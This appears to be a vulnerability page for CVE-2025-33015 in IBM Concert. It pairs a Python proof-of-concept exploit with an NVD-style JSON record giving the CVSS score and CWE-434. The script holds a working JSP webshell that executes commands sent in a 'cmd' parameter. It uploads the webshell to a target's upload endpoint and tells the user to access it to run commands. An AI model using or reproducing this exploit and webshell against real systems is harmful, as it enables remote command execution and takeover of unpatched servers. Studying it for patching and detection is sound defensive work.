CVE-2025-33015

#!/usr/bin/env python3 """ CVE-2025-33015 PoC - IBM Concert Malicious File Upload Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys TARGET_URL = "http://target-ibm-concert-server" UPLOAD_ENDPOINT = "/api/upload" # Create a simple JSP webshell for testing webshell_content = '''<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %>''' def exploit_cve_2025_33015(target_url, upload_endpoint): """ Exploit for CVE-2025-33015: IBM Concert file upload vulnerability """ print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-33015 IBM Concert Malicious File Upload Exploit") files = { 'file': ('malicious.jsp', webshell_content, 'application/octet-stream') } try: response = requests.post( f"{target_url}{upload_endpoint}", files=files, timeout=30 ) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body: {response.text}") if response.status_code == 200: print("[+] File uploaded successfully - vulnerability confirmed!") print("[+] Access the uploaded file to execute commands") else: print("[-] Upload failed or target may be patched") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_cve_2025_33015(TARGET_URL, UPLOAD_ENDPOINT)

{"cve": {"id": "CVE-2025-33015", "sourceIdentifier": "[email protected]", "published": "2026-01-20T16:16:02.580", "lastModified": "2026-01-26T19:40:06.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.1.0 is vulnerable to malicious file upload by not validating the content of the file uploaded to the web interface."}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.1.0 es vulnerable a la carga de archivos maliciosos al no validar el contenido del archivo cargado a la interfaz web."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "065602A3-1E93-487B-B667-4C40FF7D0094"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257006", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}